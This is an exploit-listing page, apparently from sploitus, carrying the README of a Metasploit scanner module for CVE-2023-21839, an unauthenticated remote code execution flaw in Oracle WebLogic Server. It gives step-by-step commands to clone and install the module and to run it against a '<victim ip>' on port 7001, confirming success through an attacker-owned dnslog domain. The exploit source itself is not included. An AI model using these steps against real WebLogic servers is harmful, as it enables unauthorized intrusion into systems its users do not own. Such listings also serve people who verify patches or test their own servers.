Exploit for Missing Authentication for Critical Function in Oracle Weblogic Server CVE-2023-21839

## https://sploitus.com/exploit?id=ACF2C975-3819-5561-A11B-4324DE619675
# CVE-2023-21839-metasploit-scanner
## Usage
`git clone https://github.com/kurehalin/CVE-2023-21839-metasploit-scanner`  
`cd CVE-2023-21839-metasploit-scanner`  
`mkdir -p ~/.msf4/modules/auxiliary/scanner/http`  
`cp weblogic_iiop_rce.py ~/.msf4/modules/auxiliary/scanner/http`  
`chmod +x ~/.msf4/modules/auxiliary/scanner/http/weblogic_iiop_rce.py`  
`msfconsole`  
## POC usage
`use auxiliary/scanner/http/weblogic_iiop_rce`  
`set rhost <victim ip>`  
`set rport 7001`  
`set verify_dns_log <your specific dnslog domain>`  
`run`  
## result
![result 1](result1.png)
![result 2](result2.png)
## reference
* https://github.com/4ra1n/CVE-2023-21839  
* https://github.com/houqe/POC_CVE-2023-21839